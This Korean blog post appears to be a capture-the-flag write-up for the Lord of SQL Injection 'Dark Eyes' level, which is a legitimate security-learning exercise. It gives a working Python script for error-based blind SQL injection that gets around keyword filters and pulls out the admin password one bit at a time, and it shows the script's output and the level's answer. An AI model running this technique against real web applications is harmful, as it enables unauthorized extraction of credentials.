으흠; Dark Eyes를 찾으려고 구글을 검색했는데, 진짜 눈알밖에 없다.(이게 진짜 공포 아닐까) 이번에는 사진 없이 바로 코드로 만나보자
* 본 포스팅의 해결방법은 Python으로 작성되어있습니다. 코드의 상세한 해석은 아래를 참조 *
2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc
코드
정확한 pw를 물어보니 역시 blind SQL Injectino을 특히 error based SQL Injection을 이용한 문제풀이이다. 필터링된 문자열로 when, if, case, 등 조건식이 금지된 것을 보니, 이번엔 조건문으로 에러를 발생시키지는 못하겠다. 우회방법을 알아보자
* 특히나 이번에는 ERROR의 결과도 웹페이지에 안 띄운다...
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=5a2f5d3c
from requests import get
url = "### Dark EYES의 URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''
print("### find for pw length ###")
while(True) :
param = "?pw=%27%20or%20id=%27admin%27%20and%20(select%201%20union%20select(length(pw)="+str(length)+"))--%20"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text!="") :
print("find pw length : "+str(length))
break
else :
print("PLease... : "+str(length))
length+=1
print("### find for pw ###")
for i in range(1,length+1) :
temp_array = ''
for j in range(1,9) :
param = "?pw=%27%20or%20id=%27admin%27%20and%20(select 1 union select(substr(lpad(bin(ord(substr(pw,"+str(i)+",1))),8,0),"+str(j)+",1)=1))--%20"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text!="") :
temp_array += "1"
else :
temp_array += "0"
password += chr(int(temp_array,base=2))
print("here's your passwrod : "+password)
그렇다. 당연하게도 그냥 서브쿼리를 합쳐서 에러를 발생시킬 수 있다.(만약 두 번째 select가 동작을 안 했으면 >> 거짓이라면 FALSE의 반환으로 Subquery의 반환 row는 1개가 되어(1) 에러가 없을 것이다.)
### find for pw length ###
PLease... : 0
PLease... : 1
PLease... : 2
PLease... : 3
PLease... : 4
PLease... : 5
PLease... : 6
PLease... : 7
find pw length : 8
### find for pw ###
here's your passwrod : 5a2f5d3c
출력은 위와같다.
축하한다. 이로써 ERROR Based SQL Injection의 이해가 깊어졌을 것이라고 생각한다. 다음 관문에서 여러분들을 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 24 - Evil Wizard (0) | 2021.04.21 |
---|---|
[LOSI] Lord of SQL Injection Level 23 - Hell Fire (0) | 2021.04.21 |
[LOSI] Lord of SQL Injection Level 21 - Iron Golem (0) | 2021.04.20 |
[LOSI] Lord of SQL Injection Level 20 - dragon (0) | 2021.04.17 |
[LOSI] Lord of SQL Injection Level 19 - xavis (0) | 2021.04.17 |